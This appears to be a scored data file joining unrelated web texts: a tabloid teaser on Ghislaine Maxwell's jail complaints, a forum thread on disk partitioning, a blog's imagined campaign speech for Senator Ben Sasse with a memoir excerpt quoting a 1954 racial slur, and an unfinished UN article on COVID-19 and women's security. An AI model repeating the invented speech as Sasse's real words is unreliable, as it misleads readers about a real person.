0.999874	Ghislaine Maxwell speaks from behind bars for the first time in the Mail on Sunday 🔥🔥🔥🔥🔥 – Florida Trends Skip to content Florida Trends Explore The World News Menu trending US NEWS world entertainment femail lifestyle tvshowbiz uk Technology Australia Adelaide Brisbane Melbourne Perth Sydney Politics Sports Home›trending› Ghislaine Maxwell speaks from behind bars for the first time in the Mail on Sunday 🔥🔥🔥🔥🔥 On November 13, 2021 by Carolin Alfano EXCLUSIVE: Ghislaine Maxwell speaks from behind bars for the first time in the Mail on Sunday: Heiress tells how ‘creepy’ guards have forced her to stop taking showers and rats live in her cell Don’t miss the whole exclusive story in tomorrow’s copy of the Mail On Sunday By Laurence Dollimore For Mailonline Published: 10:00 EST, 13 November 2021 \| Updated: 11:24 EST, 13 November 2021 Ghislaine Maxwell has spoken from behind bars to claim she’s been forced to stop taking showers because of the ‘creepy guards’ who stand and stare at her. In a world exclusive published in tomorrow’s Mail on Sunday, the heiress has spoken of the hell of her life in Brooklyn’s Metropolitan Detention Center, saying that conditions are so bad a rat would sit beside an open sewer in her cell as she went to the toilet. She said: ‘I used to go to the loo with an open sewer drain and a friendly rat would regularly visit. ‘I told the guards, but nothing was done until the rat popped out and charged a guard who screamed in terror. ‘Finally, the sewer drain was covered.’ Maxwell faces a maximum of 80 years in prison if found guilty of abusing and procuring young girls for her ex-boyfriend, convicted paedophile Jeffrey Epstein. In a world exclusive published in tomorrow’s Mail on Sunday, Ghislaine Maxwell has spoken of the hell of her life in Brooklyn’s Metropolitan Detention Center, saying that conditions are so bad a rat would sit beside an open sewer in her cell as she went to the toilet (Pictured: Ghislaine Maxwell and Jeffrey Epstein at an event in New York in 1995) With the trial rapidly approaching, she has pleaded not guilty to all charges and says she will vehemently protest her innocence in court. Maxwell, who was this week refused bail for a fourth time, says she fears it will be impossible to get a fair trial. Maxwell has been held in the notorious New York jail since her arrest 16 months ago. She complains she has been kept in ‘inhumane’ solitary confinement the entire time, adding: ‘I used to take a shower every day but I’ve stopped because of the creepy guards who stand close and stare at me the whole time.’ With jury selection beginning on Monday and the six-week trial due to start on November 29, Maxwell’s relationship with Prince Andrew will be put back under the spotlight. Virginia Roberts, the woman who claims she was allegedly ‘sex trafficked’ to the Prince three times – the first when she was just 17 and legally under age – is expected to face Maxwell across the courtroom. Maxwell faces a maximum of 80 years in prison if found guilty of abusing and procuring young girls for her ex-boyfriend, convicted paedophile Jeffrey Epstein (Pictured: Maxwell being led to court in an artist’s sketch on November 1) Prince Andrew vehemently denies all claims and insists he cannot remember ever meeting Ms Roberts. Ms Roberts has described Maxwell as ‘a monster’ adding: ‘She’s vicious, pure evil. Epstein was a sick paedophile but Ghislaine was the mastermind.’ The Mail on Sunday exclusive also includes the first interview with the former Paratrooper who guarded Maxwell during the 11-months between Epstein’s suicide in August 2019 and her arrest in July 2020. He tells interviewer Daphne Barak the extraordinary lengths they went to conceal her whereabouts including hiring lookalikes to throw the press off her trail. For the full astonishing story don’t miss tomorrow’s Mail on Sunday. Advertisement Share or comment on this article: Ghislaine Maxwell speaks from behind bars for the first time in the Mail on Sunday Get link xoonews.com websitetrafficnews.com Post Views: 14 Related Posts: Ghislaine Maxwell goes on trial TODAY for sex… Ghislaine Maxwell accuser 'Jane' is quizzed by… Ghislaine Maxwell's defense grills first accuser Jane 🔥🔥🔥🔥🔥 'Imperious' Ghislaine Maxwell handed out 58 page… Who is the real Ghislaine Maxwell: Epstein enabler… Ghislaine Maxwell ‘would do anything' to meet… Ghislaine Maxwell's husband Scott Borgerson emerges… Jeffrey Epstein used last days alive complaining… Topics trendingtags Bars, dailymail, Ghislaine, Ghislaine Maxwell, Latest News, Latest Today News, mail, Maxwell, news, news of the day, speaks, Sunday, Time, xoonews
0.958015	I am facing a problem....I have only one drive on my laptop and i want to partition it and create a new one. If i use the Disk Management to create a new partition from the existing one, it will effect my windows installation? or should i just reformat my computer and create 2 partitions. Tell me an easy solution to this problem as i dont want to format my pc as i have too much data in it and copying it would be a pain. -Hammad Quote Link to comment Share on other sites More sharing options... Lauren Halagarda Posted July 8, 2012 Lauren Halagarda Members 1 Report Share Posted July 8, 2012 I needed to repartition my mom's hard drive as her laptop was delivered with some funky space allotment. I used Partition Wizard- free and easy. Once I figured out that you need to move the partition from the left, not the right (counterintuitive to what you might think). I had no problems with data loss whatsoever but I would recommend backing up first. Quote Link to comment Share on other sites More sharing options... Solution dw96 Posted July 9, 2012 dw96 Members 90 15 Solution Report Share Posted July 9, 2012 Here's a simple way to do it directly with Disk Management: 1) Open the Start Menu, type in "disk partitions" (without the brackets) 2) Click on the first option (should be "Create and format disk partitions") 3) Right click on the drive volume and pick "Shrink Volume": 4) In the "Enter the amount of space to shrink in MB", enter the size (in MB) which you'd like your new drive to be : 5) Now click "Shrink"6) After the process is completed, you should see a black volume saying "Unallocated" 7) Right click on "Unallocated" and select "New Simple Volume" Go through the wizard and choose the Size, Drive Letter and Volume Label: 9) If you did everything correctly, your new drive should be up and ready: Quote Link to comment Share on other sites More sharing options... Hammad Posted July 9, 2012 Hammad Members 53 3 Author Report Share Posted July 9, 2012 Thanks alot DW96....It worked like a charm. Quote Link to comment Share on other sites More sharing options... dw96 Posted July 9, 2012 dw96 Members 90 15 Report Share Posted July 9, 2012 Thanks alot DW96....It worked like a charm. No problem! Quote Link to comment Share on other sites More sharing options... Join the conversation You can post now and register later. If you have an account, sign in now to post with your account. Reply to this topic... × Pasted as rich text. Paste as plain text instead Only 75 emoji are allowed. × Your link has been automatically embedded. Display as a link instead × Your previous content has been restored. Clear editor × You cannot paste images directly. Upload or insert images from URL. Insert image from URL × Desktop Tablet Phone Submit Reply Share More sharing options... Followers 0 Go to topic listing Similar Content How do I change the number of programs the start menu shows? By Guest Frinky I'm on Windows 7 and I'd like to know how can I change the number of programs the start menu shows. I just want to pin my favorite apps to the start menu and not show any recently opened or most opened apps. That's one thing that really pisses me off... deleting start-up items By Guest liz Hello! I recently tried to follow the instructions in the article 'how to disable startup programs in windows...'. The process seemed to work until after the re-start when I got a serious looking message that basically told me to reinstate everything to a previous date point to avoid damaging the computer. Well I did that because I'm insecure about the inner mysteries of the computer, but would still like to get rid of automatic start-up of my photo programs and other things. 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0.999832	I hope that Friday Coffee is a digital version of the conversations, with and among students, I've heard in the past 20 years at various coffee houses. If you want to contribute, feel free! Pages Home Janovy books (amazon) Janovy books (smashwords) Photographs - Weather/Clouds Published drawings Block prints JJ's YouTube videos Links Watercolors Tuesday, July 25, 2017 Here is a writing exercise, in this case a draft of a speech for Ben Sasse to give when announcing his candidacy for President. Draft of a speech for Senator Ben Sasse: My fellow Americans: My name is Ben Sasse, Republican Senator from the beautiful state of Nebraska, and I am announcing my candidacy for President of the United States in 2020. Our nation is in deep crisis, a distinctly un-American crisis, in which our finest attributes, those exceptional qualities that we have brought into the world for so many decades, are now buried in an avalanche of hostile rhetoric and the actions precipitated by that rhetoric. You have all heard the old saying that “sticks and stones may break my bones, but words will never harm me.” Well, our major accomplishment the past ten years has been to disprove that accepted wisdom. I am an historian. I was a college professor and a college president. For all who are, at this very moment, disdaining the fact that I have college degrees, belittling my academic background, and about to reject the ideas you will hear in the next few minutes, you are dead wrong. This nation needs to be smart, well-educated, perceptive, aware of the historical events that have shaped the fate of other nations, and unafraid of science. Get over your fear of the facts, ladies and gentlemen; get over your fear of research into our most pressing problems and the data that research provides; get over your fear of those whose circumstances of birth have provided them with adequate schooling; and get over your fear of science and technology because this nation’s economy requires it. A nation does not become great by endorsing ignorance and fear. A nation becomes great by erasing ignorance and fear. A nation becomes great by acting on the basis of knowledge, not political rhetoric that stirs up deep-seated passions, including hatred and fear. A nation becomes great by acknowledging its problems and addressing them in ways that empower as many of its citizens as possible. America has the capacity, the human resources, and the natural resources, to be a model for the rest of humanity around the world. My goal is to tap those resources. My goal is to bring the American dream home to all our people, not just those at the higher economic levels of society. If I have learned anything from being an historian, it is that nations in which personal income becomes increasingly unequal do not survive. Income inequality is our most pressing national problem, and it is the one I will work very hard to solve. Your taxes pay for the things that only governments can provide: transportation systems, educational systems, military preparedness, law enforcement, and the cultural institutions that sustain our humanity, and yes, I include the arts in that last category. My goal as President is to ensure that we are all fairly taxed, and in a way that maximizes the disposable income of those now struggling economically. Lower income families spend a vastly larger portion of their financial resources on basics: food, shelter, transportation to jobs, and clothing, than do those who are more fortunate. In an America that is truly great, these families are saving for the future, not struggling to put even a peanut butter sandwich in their children’s lunch boxes. The real question facing the United States of America is how we solve this most pressing problem of unequal income, but at the same time retain our respect for the enterprising minds so characteristic of our nation and especially our business community. We already have income distribution experiments showing us that money funneled into the hands of those in the higher economic classes does not trickle down into the lower economic classes, and does not recirculate into the national economy in a way that benefits all. My neighboring state of Kansas has demonstrated this quite convincingly, and that state’s elected representatives have finally recognized what Kansas policies taught them and acted accordingly to save schools and the state’s infrastructure. I do not propose over-taxing the more fortunate. I am not going to simplify an exceedingly complex problem by yelling “tax the rich!” I do not propose a socialist society. I honestly believe that any American ought to be able to make a fortune through his or her talents and entrepreneurial skills. Nor am I going to try to buy your votes by giving away free stuff like college tuition. But I do propose a serious consideration of all possible ways to increase the buying power of those who are currently struggling, and to open the doors of economic opportunity for those eager and willing to step through them. I want Americans out there in American cities and towns buying goods and services with money earned, with adequate wages paid, and I want Americans sending their children to good schools that provide education so that we as a nation can meet global challenges of next century with intelligence, rationality, and dignity. If you have not figured it out by now, I’ll remind you of this fundamental principle: a nation that is sick, poor, and uneducated cannot be made great, now or again, by political rhetoric. A nation that is sick, poor, and uneducated cannot be made great by actions that make the fortunate even more fortunate at the expense of those locked in a cycle of poverty and illness. A nation that is sick, poor, and uneducated cannot sustain a military establishment capable of defending its shores. And a nation that is sick, poor, and uneducated cannot compete with those nations that are healthy, wealthy, and wise, on either the social or economic fronts. My fellow Republicans have simply failed to acknowledge this fundamental principle. My goal is to help them remember what they learned in college, namely, that when statistics that are readily available to the general public tell us that millions of our citizens are sick, poor, and uneducated, we cannot be a great nation until that problem is fixed. In 1960, John F. Kennedy was elected in part because of his idea that there was a missile gap, a significant difference between the intercontinental ballistic missiles in American silos vs. those in Soviet silos. My fellow Americans, I’m going to draw an analogy: we now have a massive credibility gap that is destroying our ability to engage other nations in ways that are of benefit to our citizens. I am a registered Republican. It is now time for us all to recognize what has become so glaringly obvious to so many of my colleagues in the political arena, namely that we need an American president who speaks the truth as we know it to the American public. We need an American president who is comfortable with American citizens voting, regardless of the color of their skin or the derivation of their last names. We need an American president who is not afraid to admit that our incarceration rate is shameful and that our prison system is among the most brutal in the world, producing more criminals than productive citizens. We need an American president who is serious about immigration, who will find a way to help American agriculture through a rational system that provides guest workers. And we need an American president who does not take smug satisfaction in sending American youth to be killed and maimed in foreign interventions that are not in our national interests. I don’t promise to be a miracle worker. I don’t promise to solve all of our nation’s problems in my first hundred days in office. I do promise to be honest, to rely on honest and well-informed people, to surround myself with experts instead of cronies, to freely admit the cause and sources of our most pressing problems, and I do promise to learn what has worked to make life better for citizens in various parts of this country, and learn what has not worked, and act on the basis of valid information rather than my own personal insecurities. Yes, I am running for president of the United States. In the coming weeks and months, I will put forth some ideas that may seem strange coming from a Republican, but please remember that I am focusing on our problems and the difficult task of solving them. I ask your help in this daunting task, but I also ask for your understanding, that unless we both recognize and attack our problems of poverty, sickness, and education, we will never be great again and we will end up losing all that has made us the envy of the world for so long. Posted by JJ at 10:18 PM No comments: Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest Wednesday, July 19, 2017 Excerpt from BERNICE AND JOHN: FINALLY MEETING YOUR PARENTS WHO DIED A LONG TIME AGO - (some text referring to driving across Kansas) What does a person think about during a drive across Kansas? It depends on when you take the drive, and on your definition of “when.” When you don’t want to, but have to because your sister just called to tell you that your father has gotten so weak from his cancer that he can’t take his addictive painkillers so is having withdrawals? When you don’t have to but want to because you’re sick and tired of the Nebraska winter and just have to see forsythia blooming and leaves starting to push out of their sheaths? When you feel an obligation to visit relatives, just to keep in touch, personally, just to make sure they know you’ll drive across Kansas to see them? When Genevieve has finally died? When your only surviving paternal relative is having her 90th birthday? Yes, on all these occasions, something has to be thought about during the drive across Kansas, something that will take your mind off the fact that you’ve packed yourself and your family into America’s major public health hazard and are now zinging it across the prairie at up to 70 miles per hour. That “something,” it turns out, is one’s life as remembered, memories that are presumably “true” but in fact are shaped strongly by parents who assembled the environment in which those memories were formed. From a father who searched for oil, I learned that automobiles were more than mere transportation. Thus you never just went somewhere; you had to also be doing something by going there, if that something were only—and I used the word “only” advisedly here—studying local landscape and distant clouds. From a mother who sought comfort in books, good books, interesting books, I either learned or inherited the need to also be thinking about something along the way. And what is there to think about on a drive across Kansas? The answer is: many things, ranging from Coronado’s early explorations in search of Quivira, to what those prairies must of looked like to Native Americans before the Spaniards brought horses again to the New World, to the post-modern devolution of American science education symbolized by the cultural clashes over—of all things—evolution. But in all those decades of driving across Kansas, studying and thinking, what occupied my thoughts most of the time was the evolution of cars. Because of changes in automotive technology during the time since Bernice and John bought their first one, the historical narrative that follows is one no sixteen year old, just having passed his or her first driving test, will ever be able to write fifty years from now. Fifty years is just a blink, even in a human life. It has been longer than that since a strange man grabbed my arm in the downtown Oklahoma City Library on May 17, 1954, and shouted “They gonna make you go to school with the niggers! Whataya think uh that!?” It has been more than fifty years since the launching of Sputnik I, the event that ushered in the age of truly meaningful space exploration. It has been more than fifty years since President Harry Truman relieved General Douglas MacArthur of his command in Korea and the general then uttered those memorable words “Old soldiers never die, they just fade away.” It has been more than fifty years since the Joseph McCarthy House Un-American Activities Committee hearings, since the last undisputed American Civil War veteran died, since the last Jew was gassed in Auschwitz II, and since an atomic weapon was last used in war. Fifty years ago, a carburetor was one of the most mysterious of all automotive devices; fifty years from now the word “carburetor” will have vanished from the average American’s lexicon and migrated over into the realm of antique automobile collector and NASCAR garage crew and Museum of Science and Industry staff argot, if it has not done so already. Thus driving across Kansas for most of the last half of the 20th Century is actually a lifetime of research on the United States’ addiction to fossil fuels and the devices we developed after WWII to help maintain that addiction. Any person who has lived through post-war American cultural, economic, and political evolution, and has spent most of that time outside one of our inner cities, has enough expertise and experience to write the car tales found in the next few paragraphs. If what I have to say about our family automobiles sounds familiar, indeed so much so that you ask “what’s the point?” then your mind has become so connected to the physical world we have produced and in which we now live—the design of our current society—that this connection obscures the fact that when the subject is ground transportation, family history from 1945 to 2007 also is national history, rapidly becoming military history because of global forces over which no human has control, namely, the burial of Mesozoic algae and the drifting of continents, forces that delivered the American way of life into Middle Eastern hands. For the time being, at least until the oil runs out, we Americans, our environment and our behavior have merged into a single entity that includes a supply of petroleum, a service industry, and an automobile; that “single entity” is our identity. Of those three components—fuel, service, car—I was born into one, married into another, and bought the third. Thus like the great majority of United States residents, automobiles have been an integral part of our extended family relationships ever since Karen and I had our first date in which, of course, the automobile was a central player—a friend offered to drive some girls to Dallas if they would buy the gas; I went with them and she was one of the girls. But this trite assertion, which almost any American family could make, has a special quality, not only because of the petroleum industry of which my father was a part, but also because of Karen’s father, Glenn Oneth, who was service manager at the Ford agency in El Reno, Oklahoma. Obviously, after I met Karen, I drove Fords, although my family had owned two Chevrolets—a 1948 two-door Fleetline and a 1953 four-door, blue and white, Model 150. I learned to drive in the Fleetline, although in a clear violation of company policy, my father taught me the rudiments of clutch work in his company car—a 1952 4-door Ford. I loved the Ford, tolerated the Chevy; both were, of course, standard shift. Standard shift is no longer a necessity in a personal or family vehicle; if they fulfill any useful role for typical Americans today, standard transmissions are life style statements. In 1949 we drove the 1948 Chevrolet Fleetline to California. This vacation was to visit my mother’s sister Velva and my maternal grandmother, Myrtle Locke. Velva lived with her second husband, Dan Baldwin, a Yugoslavian immigrant who played the horses and won more that you’d predict based on statistical evidence alone. My grandmother was a “practical nurse.” Nowadays, I suppose, she’d be called a caregiver; we, or at least I, had never heard of Alzheimer’s at the time. Her husband, Edgar, had died of pneumonia when I was a tiny baby, or maybe even before I was born; I’m sure Myrtle was completely uneducated and unprepared for life as a widow, so that caregiver was about the only profession open to her. But evidently there was plenty for a “practical nurse” to do in California and I distinctly remember believing that she was engaged in a noble profession. I have no idea how she got to Oklahoma on her visits; it was certainly not by automobile; perhaps it was by bus. Knowing what I know now about the Southwestern American landscape, I hope for her sake there were plenty of rest stops. Traveling west on U.S. Highway 66, we encountered the Mojave Desert. As we approached Arizona, cars coming out of the desert had canvas water bags hanging on their grills. At one filling station, we bought such a bag and hung it somehow on the front of the car; at another station, the temperature was 120oF. The water bag seemed more like a fashion statement than an essential emergency item to me, and fortunately we didn’t need it. For years afterwards it hung in our Oklahoma City garage, a reminder of the California vacation taken when my mother Bernice was young and beautiful and healthy. For the California trip, my father also bought an evaporative cooler that fit in the passenger’s side window, where my mother rode. I remember fighting with my sister all the way to Los Angeles. My mother must have been truly miserable, but when we got there, we had a great time. I still have small books on California birds and mammals that I bought at the Los Angeles County Natural History Museum. My father, however, would never stop at any of the roadside zoos that advertised, on large, hand-painted signs, that they had THE BIGGEST RATTLESNAKE IN THE WORLD. On the way home, we took the southern route and stopped by Carlsbad Caverns, another thrill. Eventually he traded that 1948 Chevrolet for the 1953 model, which later gave way to a 1955 Ford, my favorite of all cars because it eventually became mine, personally, my first automobile, bought with my own money from my own father in 1959. None of these cars came with seat belts. The 1953 blue and white Chevy felt solid and I liked the way it shifted, but the first time I drove it to El Reno to visit the girlfriend who would eventually become my wife, her whole family teased me unmercifully about driving a “Chiv-uh-lay.” So I never drove that car to El Reno again. Glenn Oneth, my future father-in-law, had worked as a mechanic in small Oklahoma towns for all his life, eventually ending up the service manager at the local Ford agency. He never finished high school, and when Karen and I got engaged, he seemed genuinely disappointed, and immediately started talking about his hopes that she would finish school. “School” in this case meant college. Karen would be the first of Glenn’s children to get a college degree, but she was two years away from graduation, so that engagement ring must have looked like a memory of what marriage can do to one’s educational plans. In November of 1959, when I gave her that ring, I was in the army at Ft. Sill, Oklahoma, driving the 4-door, green and white, 1955 Ford that I’d bought from my father for $800. I was determined that Karen would be my wife, and I had money in my pocket—namely, my second lieutenant’s uniform allowance—so spent it in Lawton, Oklahoma, on an engagement ring and matching wedding band. The rings had an unusual emerald-cut design that I though she’d like. When I drove from Ft. Sill to Norman it was in a Ford; one did not deliver an engagement ring to Glenn Oneth’s daughter in a Chiv-uh-lay. The seat belts in this particular 1955 Ford were ones that I’d installed myself, and of course they only belted around the waist, not over the shoulder, too. I consider it enormous good fortune to have never needed them, nor any others, for that matter, as of this writing. The seat covers were vinyl, and torn in a place or two. I bought my first set of tires for that particular car, with my own money, and my driving habits changed within minutes of writing the check. My own father showed me how to replace the points and plugs, and how to adjust the valves. I learned from experience how to replace fan belts, heater and radiator hoses, brake shoes, a fuel pump, and a water pump. A few days after my officers training course at Ft. Sill was completed, now at home at my parents’ house in Oklahoma City, I got into this particular 1955 Ford for a trip to Columbus, Georgia, and Ft. Benning, where I was to start parachute training. But the car was not running very well, so I messed around a little bit with the carburetor, discovering, in the process, that the housing was cracked. It soon became obvious, however, that if I pushed the whole carburetor-air cleaner apparatus to the left then the car would run much more smoothly. So I found a coat hanger, attached it to the carburetor, wired it tightly to something on the left side of the engine compartment, and started off toward Memphis. An Army buddy, Basil Cronin, rode with me. After we were both mustered out, Basil returned to Boston. I wrote a letter or two, and when we each got married, our respective wives always sent Christmas cards with the annual Christmas letter, sometimes with a family picture, enclosed. Thus although I’ve not seen him since April, 1960, I’ve followed him through his career as a math teacher, the birth and growth of his children and grandchildren, and Boston politics, and he’s done the same with us. Among the items packed for my trip to Ft. Benning was a terra cotta sculpture of a reclining female nude that Karen had made in one of her art classes. Because it was about the only place left for this terra cotta lady, I put her up in the back seat window ledge. If I’d hit anything, that little statue would have flown forward and decapitated one of us, but I kept watch on her during the trip, thinking of my fiancé, and worrying not at all about my 1955 green and white 4-door Ford whose carburetor had been fixed with a coat hanger for a cross-country trip. Somewhere along the way, the nude lady’s foot got broken off, but she still had that relatively seductive look, especially in the rear view mirror, that a 22-year old Second Lieutenant, separated from his bride-to-be, would appreciate. The terra cotta reclining nude remained a part of my away-from-home life for the next 35 years. She stayed with me through research on bird malaria and mosquitoes, commuting regularly across half of Kansas, through another cross-country move to New Brunswick, New Jersey, and halfway back across America to Lincoln, Nebraska. She rode along in several subsequent Fords, watching over my shoulder, a silent back seat non-driver. When we settled into Nebraska she became a part of my office decorations and remained in this role through most of my academic career. She watched me struggle through those first research projects as an untenured professor, those first grant proposals, first graduate students, first committee assignments, and first 300-student biology classes. As my office plants grew, she acquired the aura of a jungle goddess, nestling among the philodendron leaves on top of my file cabinets, watching the parade of young people through my office. Periodically I’d glance over at her, thinking about Karen’s fingers as they’d pressed the clay bits into the shapes that would become her arms and legs—back in 1958. Finally one day I took the clay lady home and put her away high up on a shelf. Why? Times had changed. My nation had evolved. It was no longer politically correct to have a terra cotta nude in a university science professor’s office (= state owned building, constructed with tax money). John Ashcroft, the United States Attorney General, after all, had the bronze breasts of a statue covered so that he would not have to appear on national television with a piece of hackneyed sculpture typical of any art museum in the world. If the United States Attorney General could not stand to be in the same room as a statue with uncovered breasts, then my students shouldn’t be in a room with an uncovered terra cotta butt. As I put my hand around my little lady’s waist, and retrieved her disconnected foot, I could not help but think about the truly fundamental contrasts between art, basic biology, and politics. Clay figurines—female nudes with exaggerated breasts and hips—have been collected from Cro-Magnon sites. At least four billion people must see an unclothed member of the opposite sex every day, sometimes several times a day. Certainly the amount of damage done to society by an artistic rendition of a nude must be relatively immeasurable, especially compared to the damage done by men fighting with real weapons. But global cultural forces had come home to Middle America via information age technology. A few blocks down the street from my office, horror, war, sex, and violence—much of its realism computer-generated—fill the screens of 13 movie theaters. My cable channel, and indeed my network channel, offerings contain a more than ample supply of gunfire and story lines built around infidelity, thievery, murder, child abuse, war, and narcotics. But at some point, because of something that was simply in the air, sort of like greenhouse gas emissions, I took my terra cotta jungle goddess home and put her on a shelf in my basement office. The United State’s attorney general at the time would have been proud. He was embarrassed by bronze breasts; no telling what kind of a reaction he would have to a naked lady hiding beneath the philodendron on my file cabinet; who knows when a coed might accidentally see that thing on a Friday when she and her boyfriend were headed to the downtown movie megaplex later that evening to take in Bruce Willis and Die Hard 4. If the nation’s Attorney General was embarrassed by some bronze breasts, I was even more embarrassed by his inability to talk about Hellenistic sculpture in a casual way that might be of minor educational value to a national audience if asked about his sculpture companion, but I was determined to not be reprimanded because of a small piece of art with enormous personal significance. There was only a miniscule chance this reprimand would happen, of course, but the cultural evolution indicator is the fact that I was concerned enough to actively avoid the possibility. I even envisioned a Bill O’Reilly piece about obscenity in tax-supported professor offices using my sculpture as Exhibit #1. I imagined myself bemoaning the fact that her leg was broken instead of responding to questions about her posture and non-existent clothing. The literary journey from a 10,000 year old Cro-Magnon fertility idol to an imagined propriety violation in Nebraska may seem greater than one from the Big Bang to SuperBowl XLI, but it’s no further, in my mind, than either the changes in automotive technology since WWII—a measure of our determination to burn oil in order to move—or the cultural distance between populations presently occupying various geographical regions of Earth—populations in possession of oil that other populations seem hell bent on burning. At the same time as culture warrior John Ashcroft stood demanding that a bronze breast be clothed, there were places on Earth where, by virtue of religious tradition turned into national law, girls were not allowed to go to school, work outside the home, or drive a car. These two places might represent the extreme points of a fossil fuel compass—the major consumers and the major suppliers—but were she alive, Bernice Locke would lay down her book of English literature and pass immediate, scathing, judgment on both cultures. Among her toxic prescriptions would be a volume of Shakespeare; she’d probably pick it up and turn to a page, reading out loud some passage about the arrogance of power and the ability of men to demonize not only women, but also one another. It doesn’t take an avant guard artist to take information from the last few paragraphs and produce a picture made of oil, religion, and sex, categorized respectively as birthright, law, and evil. Nor does it take much effort to ask interesting questions about our current global socio-economic interactions, questions such as “What would the world be like today if the internal combustion engine had never been invented?” or “Was the invention of such an engine inevitable, given the development of metallurgy and the discovery that petroleum would actually burn?” And finally we could ask: “What would the land of Oklahoma be like had engines and oil not been a part of the human experience?” Would Oklahoma have been, in historian Angie Debo’s words, a place where “. . . all the American traits have been intensified.”? And would Debo have been able to claim that “The one who can interpret Oklahoma can grasp the meaning of America in the modern world.” I believe the answer to these last two questions is “no.” Since that weekend when we drove to El Reno with an engagement ring on Karen’s finger, we have had a long relationship with Ford Motor Company, and our family ties have been maintained as much as anything by driving across Kansas for three and a half decades in various Ford and Mercury vehicles. Why do I feel that our cars should be included in a narrative that is ostensibly about my parents but is actually a portrait of my evolving nation? Because some people will read this book, I hope, and see their own story of how various automobiles have controlled their lives, while at the same time giving them unparalleled freedom, for a short period in human history. And if the scientists are correct, children born in Nebraska in 2010 will live to see the end of petroleum as a factor in human lives, although just prior to that end, these same scientists might predict that petroleum would be the factor shaping the human experience. Paleontologists tell us that there have been easily recognizable human beings, probably doing things we would consider extremely common and, well, human, for at least 250,000 years, and surprisingly, thus hauntingly, human-like species for several million years before that. We know that for at least 50,000 years humans have been producing spectacular art that stands the test of time, which in itself is a litmus test for being human. But we’ve only had cars for about a hundred years, and if the pundits are correct, petroleum to allow this luxury may last for another hundred years at the most. So unless Detroit, or Tokyo, or some other fair industrial city, learns how to produce cars that can run on seawater, the rather stunning mobility of modern humanity will come to a grinding halt. Instead of rolling blackouts, we’ll have rolling stay-at-homes. In another 50,000 years, paleontologists will be studying the plastic dashboards and door panels they’ve dug up from the rubble that used to be New York City and wondering what in the hell humans actually did with them. Thus the record of what this contemporary 0.004 fraction of human history was like needs to be as rich as it can be made, because when it’s over, we’ll be back to horses and our own two feet. There is one other reason why I’m telling this story, however, and that is because it documents one family’s interaction with an extraordinarily expensive, highly dangerous, pervasive, and rapidly evolving technology that has finally become institutionalized. By “institutionalized” I mean that today almost nobody works on his or her own cars. The vast majority of people who own and use automotive products daily have become extremely dependent not only on the vehicles themselves, but also on the service industry. We don’t do our own tune-ups now any more than we do our own appendectomies. Furthermore, unlike the case fifty years ago, even a reasonably well educated person today has virtually no way to correctly diagnose what’s wrong with his or her vehicle, unless, of course, it’s something blatantly obvious like a flat tire. Only the computer “knows,” or at least can find out—so we believe, what’s really happening under the hood. And only a complete idiot would work on a modern vehicle without specialized training, itself a career move. But this extreme dependence on a defining body of technology was not always the case. The pejorative term “shade tree mechanic” is a familiar one to older folks, but it’s now passing from our lexicon. For me, the hands-on part of this story of techno-human evolution ended in 1998. That’s when I bought a 1997 Dodge Dakota pickup truck, the first automotive product I’ve owned that I simply did not, because I could not, work on. Its immediate predecessor, a 1993 Dodge Dakota pickup, was my first rebellion against Ford Motor Company and I worked on it. Before I bought it, in the small western Nebraska town of Ogallala, I called Karen’s brother Eddie, who builds cars from the frame up, and asked him for advice. He told me that police departments often bought Dodges and drove them 200,000 miles without much trouble. When I stopped at service station for $5 worth of gas for the 1993 Dakota before taking it out on the interstate for a requisite 100MPH test, the guy who took my money asked if I was actually thinking about buying it. When I answered “yes; my brother-in-law says the cops drive them 200,000 miles” he simply shook his head. I asked him why and he said “because it’s a Dodge.” After my 1993 Dakota had 130,000 miles on it, I vowed to buy another one just like it, and did, except the newer one was white instead of blue and gray. Both of these pickups are, or were, in Karen’s words, “that damned Dodge.” Thus she preserves the essence of her father in our daily lives, using my truck, even as we both pass into the new automobile age together, she with her new white Sable and me with my damned Dodge, neither of which is amenable to self-repair or owner maintenance beyond replenishment of windshield washer fluid and the airing of tires. Anyone who has lived through most of post-war American history, coming of age in the 1950s, and finding reasonable employment, could write this tale of gasoline prices, home and highway repair jobs, and fond memories. Among the same Americans, at least two million of us, since 1950, could also write stories of tragedy, incredible sadness, and loss, all stemming from our interactions with the automobile. I encourage all of you who may be reading this book, and are over sixty, to put it down, fire up your laptop, and start your own memoir in which the motor car is a central player. Then send your long letter off to your children, and donate copies to the archives department of your local library. A hundred years is not very long. Most of us senior citizens know people who are in their nineties. But a hundred years from now, the nation’s supply of narratives about our personal interactions with a vanishing technology will be extraordinarily valuable. This chapter of Bernice and John may not be particularly exciting—no tales of violence, unrequited love, crime, deception, and duplicity, i.e., the daily prime time television fare. It is, however, a unique slice of human, American, and Oklahoma history that will never again be repeated, and will be gone from the human experience by the time our great grandchildren get to retirement age. And if you were born into one industry, committed to the finding of petroleum, and married into another industry, this one committed to burning petroleum, then our collective stories of post-war, and sometimes pre-war, travel around the country in personal vehicles will comprise a database of stunning uniqueness. Unlike art, which springs from deep within a human soul or mind, and can be dabbed on a Spanish cave wall or splattered on a canvas on the floor, thus repeatedly generated as long as humans live, the oil will be used up; gone; forever. The oil will be gone; forever and forever, at least as human measure “forever.” And if you are lucky, your great grandchildren will not be living when it happens. But don’t bet the farm.
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0.999752	in Equal Rights, Politics & Foreign Affairs, SDG Series, Shape Your Future, Society, United Nations, Women https://news.un.org/en/story/2018/11/1026181 0 SHARES 39 VIEWS Share on FacebookShare on Twitter COVID-19, deadly as it is for all of us, has multifaceted security dimensions and grave implications for those caught in the midst of conflicts, postconflict or humanitarian crises. In particular, the pandemic may disrupt humanitarian aid flows, limit peace operations, and undermine or delay diplomacy efforts. Even worse, in times of crisis, gender equality is a goal that tends to be regarded as secondary. As a result, responses to the pandemic usually don’t address existing gender inequalities and end up exacerbating them. Moreover, the broader impact of the pandemic remains yet to be seen. Consequently, the Women, Peace and Security Agenda (WPS) is particularly affected by the pandemic. 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Also, limited access to essential health information, insufficient or non-existing sanitation facilities, and crowded conditions prevent women and girls from conducting the hygienic and social distancing measures recommended to avoid the spreading of the virus and risks for their lives. Evidence from past epidemics, such as Ebola or Zika, shows that efforts to contain outbreaks frequently reduce resources from routine health services, including healthcare during pregnancies or contraceptives treatments. The pandemic undermines access to sexual and reproductive health services which were already limited. Photo Credit: United Nations Gender inequality rates are particularly high in conflict-affected, post-conflict, and humanitarian crises contexts. Because of that, women are deeply excluded from all decision-making processes (including peace and security issues). As a result, women are frequently kept out of the design and implementation of peace and political solutions to crises. Consequently, they have a low capacity to influence decision-making processes on social, economic, health, protection, and justice. In addition, the responses to the pandemic 